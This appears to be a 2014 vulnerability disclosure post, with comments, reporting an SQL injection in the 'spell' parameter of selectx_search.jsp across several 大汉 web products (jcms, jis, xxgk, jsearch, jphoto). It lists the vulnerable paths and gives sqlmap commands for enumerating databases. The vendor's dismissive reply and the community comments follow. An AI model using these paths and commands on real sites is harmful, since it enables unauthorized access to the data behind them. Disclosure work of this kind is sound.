大汉版通全系列产品通用SQL注入

存在漏洞的文件

/jcms/workflow/objectbox/selectx_search.jsp?spell=1

1）信息公开系统（xxgk）

http://**.**.**.**/xxgk/workflow/objectbox/selectx_search.jsp?spell=xxgk

2)）身份认证系统（jis）

http://**.**.**.**/jis/objectbox/selx_search.jsp?spell=jis

3）内容管理系统（jcms）

http://**.**.**.**/jcms/workflow/objectbox/selectx_search.jsp?spell=jcms

4）搜索系统（Jearch）

http://**.**.**.**/jsearch/objectbox/selectx_search.jsp?spell=jsearch

5）图片系统（jphoto）

http://**.**.**.**/jphoto/objectbox/selectx_search.jsp?spell=1

暂且例举几个，其他的系统不再多举例...

获取敏感数据：

sqlmap -u "http://**.**.**.**/jphoto/objectbox/selectx_search.jsp?spell=1" --dbs

sqlmap -u "http://**.**.**.**/jsearch/objectbox/selectx_search.jsp?spell=jsearch" --dbs

@南京大汉网络有限公司 请贵公司尊重白帽子，诸如"已提交"、"已重复"并不能掩盖你们产品XX的真相...

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-11-24 15:36

厂商回复：

对于漏洞是否重复或者虚假的认定我们都是经过严谨的分析后得出的，感谢大家对大汉产品的关注。

最新状态：

暂无

1. 2014-08-29 15:49 | webshell ( 实习白帽子 | Rank:62 漏洞数:19 | hello word.)

   1

   好牛叉的描述。。。膜拜大牛。。。

   1# 回复此人

2. 2014-08-29 15:54 | zzR ( 核心白帽子 | Rank:1408 漏洞数:127 | 东方红＊＊联盟欢迎你－0-)

   0

   这是哪位神牛憋不住了！

   2# 回复此人

3. 2014-08-29 16:54 | pandas ( 普通白帽子 | Rank:730 漏洞数:84 | 国家特级保护动物)

   0

   莫非又是que_keywords1, YY下

   3# 回复此人

4. 2014-08-29 17:36 | 动后河 ( 实习白帽子 | Rank:57 漏洞数:17 | ☭)

   0

   关注，万一是union注入呢？

   4# 回复此人

5. 2014-08-29 19:41 | phantomer ( 路人 | Rank:10 漏洞数:5 | 菜比一个。求勿喷。)

   0

   大牛

   5# 回复此人

6. 2014-08-30 10:14 | 大大灰狼 ( 普通白帽子 | Rank:278 漏洞数:64 | Newbie)

   0

   大汉，呵呵

   6# 回复此人

7. 2014-08-30 12:59 | neal ( 普通白帽子 | Rank:219 漏洞数:23 )

   0

   你为什么 不实名呢? 还是已经在360提交了?

   7# 回复此人

8. 2014-08-30 14:24 | U神 ( 核心白帽子 | Rank:1375 漏洞数:152 | 乌云核心菜鸟，此号处于联盟托管中....)

   0

   第一个被忽略的漏洞是我的

   8# 回复此人

9. 2014-09-02 11:12 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)

   0

   估计又是在360库带已经投过了的

   9# 回复此人

10. 2014-09-02 12:09 | U神 ( 核心白帽子 | Rank:1375 漏洞数:152 | 乌云核心菜鸟，此号处于联盟托管中....)

    0

    @南京大汉网络有限公司 其实大汉挺公平的，最少让某些人防止了骗乌云、360等平台的奖金。哈哈

    10# 回复此人

11. 2014-09-02 16:44 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)

    0

    各种路人甲啊

    11# 回复此人

12. 2014-10-09 10:58 | 黑吃黑 ( 普通白帽子 | Rank:165 漏洞数:32 | 不是因为看到了希望才去努力，而是努力了才...)

    0

    无影响厂商忽略

    12# 回复此人

13. 2014-10-09 10:58 | 黑吃黑 ( 普通白帽子 | Rank:165 漏洞数:32 | 不是因为看到了希望才去努力，而是努力了才...)

    0

    无影响厂商忽略

    13# 回复此人

14. 2014-10-09 21:38 | Windy ( 实习白帽子 | Rank:34 漏洞数:12 | 苦逼的民工)

    0

    又是在360投过了的。。。。。。。。。

    14# 回复此人